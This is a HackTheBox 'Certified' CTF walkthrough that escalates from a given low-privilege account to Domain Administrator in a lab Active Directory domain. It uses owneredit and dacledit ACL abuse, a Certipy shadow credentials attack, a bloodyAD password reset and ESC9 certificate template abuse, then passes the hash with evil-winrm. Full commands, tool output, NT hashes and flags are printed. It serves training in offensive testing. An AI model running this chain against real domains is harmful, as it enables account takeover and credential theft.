Metadata

  • Platform: HackTheBox
  • CTF: Certified
  • OS: Windows
  • Difficulty: Medium

Summary

This Active Directory environment comes with an accessible user account. We can use its privileges to control a user group and add our users to it. Since this group has the ability to add shadow credentials to another account, we can perform the attack and access it.

The obtained account is allowed to reset the password of another account, which again is allowed to enroll a certificate for the AD environment. Since the underlying certificate template is vulnerable, we can request an authentication certificate for the Administrator account, enabling us to compromise the target.

Solution

Reconnaissance

This box assumes a breached scenario, for which we are granted an initial set of credentials: judith.mader:judith09. Let’s start by enumerating the box using nmap.

nmap -sC -sV 10.10.11.41 -oN nmap.txt -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 20:27 CET
Nmap scan report for 10.10.11.41
Host is up (0.057s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-16 02:27:26Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-16T02:28:47+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-03-16T02:28:48+00:00; +7h00m00s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-03-16T02:28:47+00:00; +7h00m00s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-03-16T02:28:48+00:00; +7h00m00s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

The scan makes it obvious, that we are dealing with an Active Directory environment. Since we already have valid credentials, and we now know the domain certified.htb due to the LDAP shares, we can enumerate this AD instance with Bloodhound. But first, we need to acquire the necessary date with Bloodhound-python.

bloodhound-python -d certified.htb -u judith.mader -p judith09 -ns 10.10.11.41 -c all

Once we put this data into Bloodhound, we can map relationships between existing account. Since we start with access to judith.mader, let’s open this account and check for any outgoing permissions.

Analysis of this graph reveals, that there is a chain of permissions we can abuse to pivot to two other accounts.

  • judith.mader has WriteOwner permissions over the Management group
  • Members of this group have GenericWrite over the management_svc account.
  • management_svc has GenericAll access over the ca_operator account.

User Flag

Let’s start by exploiting the first relationship: taking ownership over the Management group. We can use Owneredit for this.

owneredit.py -action write -new-owner "judith.mader" -target "management" certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 
 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
 
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Now judith.mader owns the group and can manage it. However, to abuse the next relationship, we need to make judith.mader a member of this group. Since we already own the group, we can start by giving ourselves the permission to add new users with Dacledit.

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'management' 'certified'/'judith.mader':'judith09' -dc-ip 10.10.11.41
 
[*] DACL backed up to dacledit-20250316-040427.bak
[*] DACL modified successfully!

Now we can add ourselves to the group using a tool such as Net.

net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -I 10.10.11.41

At this point, we can finally try to access the management_svc account. Bloodhound tells us, that there are two possible ways to achieve this: We can Kerberoast the target to retrieve a hash and crack it offline, or perform a shadow credentials attack. Since the target enforces a secure password, only the last options will yield results for us. Let’s retrieve the credentials using Certipy-ad.

certipy-ad shadow auto -u "judith.mader@certified.htb" -p "judith09" -account "management_svc" -dc-ip 10.10.11.41              
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '2e33d2db-522f-1c13-e37a-1b7ac9e37917'
[*] Adding Key Credential with device ID '2e33d2db-522f-1c13-e37a-1b7ac9e37917' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '2e33d2db-522f-1c13-e37a-1b7ac9e37917' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

This command gives us two valuable pieces for authentication: A management_svc.ccache file we can use for Kerberos authentication, and the accounts NT hash a091c1832bcdd4677c28b5a6a1295584. Since this account is allowed to create a PowerShell session via WinRM, we can open one with Evil-WinRM and claim the user flag.

evil-winrm -i 10.10.11.41 -u "management_svc" -H a091c1832bcdd4677c28b5a6a1295584
95d0b24f252023cc3e930f3a9fd65c35

Root Flag

Since we now have access to management_svc, we can pivot to the ca_operator account due to the GenericAll relation. Bloodhound once again offers us two ways to exploit this, however setting a new password for the target account is the easiest way. We can achieve this with BloodyAD, as the management_svc account, using either the NT hash or the ccache file.

bloodyAD -k ccache=management_svc.ccache --host "dc01.certified.htb" --dc-ip="10.10.11.41" -d "certified.htb" set password "ca_operator" "judith09"
[+] Password changed successfully!

Now have access to ca_operator, since we know this account’s password. However, Bloodhound did not show any privileges for this account we could use for lateral movement, meaning we need to find another way use our newly obtained access. Due to the name of this account, it might be allowed to interact with AD certificates. In case there are vulnerable ones, we might be able to obtain credentials for another account. Let’s enumerate them with Certipy-ad.

certipy-ad find -dc-ip 10.10.11.41 -u ca_operator -p judith09 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
<cut>
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Based on this output, it seems like there is a vulnerable certificate template CertifiedAuthentication to which the ca_operator account has access. Since we output already tells us that this template suffers from the ESC9 vulnerability, the exploit path becomes clear, since we can easily find the relating instructions to abuse this configuration. Essentially, we can use manager_svc’s GenericWrite over ca_operator to impersonate the administrator account. In total, it requires four exploitation steps, all of which can be executed with Certipy-ad. We can start by setting the UPN of the ca_operator to Administrator.

certipy-ad account update -dc-ip 10.10.11.41 -username "management_svc" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_operator':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_operator'

As this operation was successful, we can now request a certificate for the Administrator account by enforcing the vulnerable template.

certipy-ad req -dc-ip 10.10.11.41 -username "ca_operator" -p "judith09" -ca certified-DC01-CA -template CertifiedAuthentication 
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\('
  "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

In order for this certificate to take effect for the administrator account, we first need to revert step one of this exploit chain, setting the UPN back to ca_operator.

certipy-ad account update -dc-ip 10.10.11.41 -username "management_svc" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator    
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator
[*] Successfully updated 'ca_operator'

Finally, we can request the NTLM hash for the Administrator account. We are allowed to do this, since we have the authentication certificate of the Administrator.

certipy-ad auth -pfx administrator.pfx -domain "certified.htb" -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

We have successfully obtained the NTLM hash. At this point, we can log into this account via Evil-WinRM and claim the root flag.

evil-winrm -i 10.10.11.41 -u "administrator" -H 0d5b49608bbce1751f708748f67e2d34
e0f7ec8574f76b217e785b80d65e85c0